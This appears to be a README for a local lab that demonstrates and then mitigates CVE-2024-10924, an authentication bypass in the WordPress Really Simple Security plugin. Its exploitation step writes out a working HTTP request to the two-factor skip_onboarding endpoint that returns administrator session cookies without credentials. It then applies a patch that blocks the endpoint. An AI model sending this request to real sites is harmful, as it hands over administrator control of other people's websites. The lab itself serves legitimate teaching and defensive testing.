CVE-2024-10924

CVE-2024-10924 - Authentication Bypass in Really Simple Security

OVERVIEW This project demonstrates the exploitation and mitigation of CVE-2024-10924, a critical authentication bypass vulnerability in the WordPress "Really Simple Security" plugin.

STEP 1: ENVIRONMENT SETUP

Start the vulnerable WordPress environment: cd wordpress-really-simple-security-authn-bypass-vulnerable-application docker-compose up -d

Verify containers are running: docker ps

Access WordPress: http://localhost:1337

Tools required:

• Python 3.x (for automated exploit)
• Burp Suite (for manual exploitation)
• GVM (Greenbone Vulnerability Management) for scanning

STEP 2: VULNERABILITY SCAN

Run GVM scan against the target:

• Target: http://localhost:1337
• Expected result: CVE-2024-10924 detected
• Severity: Critical (CVSS 9.8)
• Vulnerable endpoint: /reallysimplessl/v1/two_fa/skip_onboarding

STEP 3: EXPLOITATION

Method A - Automated Python Exploit: python exploit.py

Method B - Manual Burp Suite:

1. Intercept traffic to http://localhost:1337

2. Send POST request: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1 Host: localhost:1337 Content-Type: application/json

   {"user_id": 1, "login_nonce": "hack", "redirect_to": "/wp-admin/"}

3. Observe response with Set-Cookie header containing admin session

Expected result:

• Status: 200 OK
• Admin session cookies returned
• Successful bypass without credentials

STEP 4: MITIGATION

Apply the patch to block the vulnerable endpoint: .\patch.ps1

What this does:

• Copies mitigation.php to container's /wp-content/mu-plugins/
• Blocks all requests to the vulnerable REST API endpoint
• Returns 403 Forbidden for exploit attempts

STEP 5: VERIFICATION

Re-run the exploit (Method A or B): python exploit.py

Expected result after mitigation:

• Status: 403 Forbidden
• No admin cookies returned
• Attack successfully blocked

ADDITIONAL NOTES

To stop the environment: docker-compose down

To view container logs: docker-compose logs -f

To access WordPress admin legitimately: http://localhost:1337/wp-admin (Check docker-compose.yml for credentials)